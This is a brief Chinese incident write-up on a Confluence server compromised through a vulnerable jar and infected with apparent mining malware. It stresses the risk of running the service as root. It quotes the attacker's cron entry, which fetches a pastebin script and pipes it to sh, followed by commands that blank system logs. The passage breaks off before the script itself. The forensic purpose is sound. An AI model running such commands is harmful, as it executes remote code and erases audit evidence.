confluence漏洞和攻击

问题现象

使用卡顿，登录机器后发现使用率高，出现异常进程，怀疑是挖矿病毒

排查分析

主要原因: confluence jar文件导致的漏洞

https://www.chainnews.com/articles/798890197372.htm

次要原因: root启动confluence，导致权限较高，病毒程序能够做更多的配置。而普通用户下，无权限增加各种启动项。可见使用普通用户权限启动对应的服务是非常重要的

发现的定时任务：

*/10 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

可以看到 定时去获取某个脚本，然后执行，我们可以下载来看看脚本具体的内容，脚本内容：
